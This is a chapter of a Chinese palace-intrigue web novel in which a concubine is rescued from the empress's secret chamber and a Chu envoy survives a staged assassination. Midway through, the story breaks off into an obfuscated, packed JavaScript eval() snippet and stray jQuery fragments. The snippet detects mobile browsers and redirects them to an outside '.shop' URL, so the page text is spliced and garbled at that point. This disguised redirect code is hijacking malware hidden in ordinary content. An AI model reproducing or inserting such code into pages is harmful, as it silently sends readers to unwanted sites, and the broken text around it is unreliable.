56. 遇刺

作品:《朝堂之上,她最尊贵

    令狐倾扶着发髻,这才缓缓从内殿中走出来,她笑道:“项将军,好久不见。”


    她看见项凛予身边站着一陌生男子,她从未见过,问道:“这位是?”


    项凛予懒得跟他废话,直接拿起令牌,身后的侍卫立刻开始翻找,他额头上的青筋一跳一跳,他已经快没有耐心了,霍觉章站在他身旁紧紧拉着他的袖子,项凛予必需忍耐,他昨晚看到虞卿元进了坤宁宫便消失了踪迹,他们必须一招制敌才能救虞卿元出来。


    令狐倾见状,一掌拍在桌子上怒斥道:“项凛予!这是坤宁殿,你放肆!别的宫不搜,偏偏搜到本宫殿里,你有什么证据!”


    此时,霍觉章眯着眼,观察到令狐倾鞋尖上的血迹,血迹并未成铁锈色,说明这是刚刚才留下的。


    他连忙带人冲进内殿,令狐倾刚想阻拦…


    “皇上驾到!”


    令狐倾停住脚步,在殿内行礼恭候,见霍觉章冷冷地看了自己一眼,她只能眼睁睁看着这男子带着人走了进去。


    “参见陛下。”令狐倾福了福连忙道,“陛下,项凛予带了一堆侍卫,哪里不搜偏偏搜坤宁宫,陛下…”


    宇文庸抬眼冷冷看着她,示意她住嘴,若虞卿元真是在坤宁宫被囚禁,他绝对饶不了她。


    霍觉章找到一暗室,赶紧冲了进去,项凛予听见动静,也连忙跟了上去。


    等他们赶到时,一宫女正拿着白绫,意欲勒死虞卿元,虞卿元双手被捆绑动弹不得,脸都因为窒息变得青紫。


    项凛予一脚踹开那个宫女,虞卿元倒在他怀中已经没了意识。他慌乱道:“快喊太医!快喊太医!”


    “我去找!”霍觉章听后连忙慌张地跑出去。


    项凛予将外袍批在她身上,看着她衣衫不整浑身血迹,心都揪在一起,连忙将她抱了出去。


    宇文庸正焦急地在殿内踱步,看着项凛予抱着虞卿元出来,连忙走上前,看见她身上的血迹还在流淌,他都震惊地说不出话了,转身看向皇后:“令狐倾!”


    令狐倾知道宇文庸绝对会问罪自己,她不卑不亢地站在原地一言不发,只是双手紧紧握拳静静地看着他。


    “来人!把皇后压入地牢!”宇文庸不再看她,转身便离开此处,他担心虞卿元的伤势,他要看看令狐倾究竟如何折磨虞卿元,他到时必定她的罪!


    虞卿元现在生死未卜,项凛予看见宇文庸前来,冲上去揪住他的衣领:“宇文庸!这就是当初非要她进宫的后果!你护住她了吗!你带给她的全是灾难!”


    宇文庸紧闭着唇,知道自己没能保护好虞卿元,可帝王之尊岂容他置喙?他不满的看着项凛予,听他又冲自己吼道:“我要带她离开这里!”


    宇文庸也正一股火没处发,他一把拽下项凛予的手,狠狠地瞪着项凛予:“你敢!她是朕的女人!”


    这时太监突然慌慌张张地来报:“不好了陛下!章大人遇刺了!”


    宇文庸心中暗叫不好,事情接踵而至,他都有些应付不来,他看了眼项凛予嘱咐道:“…你在这照顾她,朕去看看。”


    项凛予看着宇文庸离去,心中暗下决心,等虞卿元醒过来,他便立刻带她离开这里,去一个没人能找得到他们的地方。


    宇文庸来探望霍觉章,太医告诉自己霍觉章并无大碍,也是福大命大,那刀再差一分,就会刺入心脏。


    正巧此时,令狐知得知自己女儿惹怒了皇帝,已经被打入牢狱,连忙进宫为女儿求情。


    宇文庸并不想理他,无视他跪在身下,径直走进殿中掀开帘子,看着霍觉章嘴唇发白,见他动了动嘴唇好像想要说什么。


    宇文庸屏退众人,等闲杂人等都出去了,霍觉章缓缓坐了起来,宇文庸见他伤势没有很重,怎么一堆人在这侍候?


    霍觉章看出他的疑惑,这才开口解释道:“宇文庸,赵演派的杀手已至,我的行踪已经暴露,皇宫对我而言,已是龙潭虎穴…若想破局,唯有将计就计…”


    宇文庸知道,赵演这是想直接杀了霍觉章嫁祸给周国,他想起跪在殿外的国相,宣人把他带进来,令狐知也知道霍觉章的真实身份,此事还需要与他一同商议。


    宇文庸看见霍觉章望向国相不解的表情,对令狐知说道:“令狐相,事已至此,别的且先不谈,此人你我都知道他的真实身份,他若死在我大周,明日楚军就会兵临城下,我大周危矣!”


    令狐知明白宇文庸现在不想追究他女儿的事,拿衣袖默默擦了擦额头上的冷汗,他明白,这事已经不是简简单单的后宫倾轧,而是国难。


    霍觉章捂着伤口,虚弱地提议道:“宇文庸…令狐相…听我一言……如今,只能金蝉脱壳。”


    宇文庸有些诧异,没想到他这么快便想好了计策,他深深地看了眼霍觉章,或许,这个刺客也是霍觉章计划中的一环,要不然,刺客的刀怎么会偏了一分而未直接插入心脏呢?


    这个人,若是大周的敌人,实在危险。


    三人商议过后,太阳都快下山,宇文庸带着令狐知离开此处,对他说道:“此事,由你全权负责,若霍觉章少了一根头发甚至计划败露,朕绝不轻饶!”


    令狐知连连点头,拱手小心翼翼道:“皇后娘娘…”


    宇文庸知道他的意思,这事还需要令狐知的帮忙,可若现在放了令狐倾,他心中不快。无奈之下,他只能说:“朕会放了她的,不过,不是现在。”


    令狐知明白这已经是陛下最大的让步,连忙跪下道:“谢陛下恩典!”


    宇文庸连忙赶去探望虞卿元,这些事情打的他措手不及,他怕虞卿元会怪自己,一想起上午见到她是她伤痕累累的模样,心就像被拧了一把。


    项凛予一直等在殿外,看见宇文庸在太阳快落山时才来,更是对他没什么好颜色。


    天色已晚,宇文庸和项凛予在此处寸步不离,等了好久,太医才出来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585344|182822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    禀告:“虞掌宾身上有多处伤口,好在现下呼吸已然平稳,微臣已经施过针,待会虞掌宾便会醒来了。”


    项凛予听后抢先一步进入殿中,宇文庸紧随其后。


    看见虞卿元毫无血气的面庞,项凛予更是气不打一出来,他转身便想找令狐倾算账。


    宇文庸拉住他,蹙眉道:“你干什么?不等卿元醒吗?”


    项凛予冷冷地看着他:“我去杀了令狐倾,她竟然把卿元害成这个样子。”


    “不…不要。”身后响起虚弱的声音,虞卿元醒了。


    宇文庸松开他连忙上前,看着她因忍痛而拧在一起的痛苦表情,心痛不已。


    虞卿元勉强冲他挤出一丝微笑,安抚道:“陛下…我没事。”


    项凛予闻声,胸口突然泛酸,眼眶也不禁红了,他上前蹲在她身旁小声道:“还没事吗?身上这么多伤口,多大的事算有事?你差点就离我而去了…你差点就……”


    虞卿元摇摇头:“令狐倾毕竟是国相大人的女儿,若是严惩,国相大人会心寒的,如今周楚两国之事才最重要,陛下刚刚登基,楚齐对大周虎视眈眈,不可因我一人造成周国内乱。”


    宇文庸抿着唇,他心中深深的愧疚,正如虞卿元所说,自己无法责罚令狐倾。


    项凛予握住她的手,眼泪瞬间夺眶而出:“那我们离开这里,去一个任何人都找不到我们的地方。”


    宇文庸在一旁不语,只是背过身去,他不敢听到虞卿元的答案,更没资格阻止虞卿元离开,他无法问罪令狐倾给她个交代,自然没有理由让她留下,这个皇帝当真是无能。


    虞卿元知道项凛予定会在她醒来时这么说,身上好痛,心里更痛,好多事情她都无法给项凛予个答案,她看着他泪流不止,也不自觉湿了眼眶:“…再等我想想,好吗?骞慎…”


    项凛予点点头,将额头抵在她的手背上:“好,若你想离开,第一时间告诉我。”


    宇文庸站在一旁想起与霍觉章的计谋,看了虞卿元一眼,或许虞卿元离开,也并不全是坏事…可自己就是不愿她离开,离开皇宫,离开东京城,甚至离开周国,他真的害怕自己再也见不到虞卿元。


    没过多久,虞卿元又昏睡了过去。


    第二日,全城戒严,连东京城的百姓都知道,楚国来的使臣遇刺,身受重伤,百姓们忧心忡忡,这楚国使臣在周国遇刺,到底是谁想借刀杀人?


    霍觉章自小身强体壮,昨夜在自己原本的寝殿里早已狸猫换太子,换上宇文庸身边的心腹替代自己,他早就被趁乱转移到别处,就在虞卿元偏殿旁,门外都有重兵把守。


    他看着渗出血的纱布,这刀确实刺的有些深,想起昨晚那个杀手,那人应该已经启程回楚国复命了。


    他武功并不差,昨晚他便察觉到那个杀手的行踪,知道那人在等时机刺杀自己,等他察觉到杀手的动向,反手按住那人的肩膀,才发现竟然是个女子。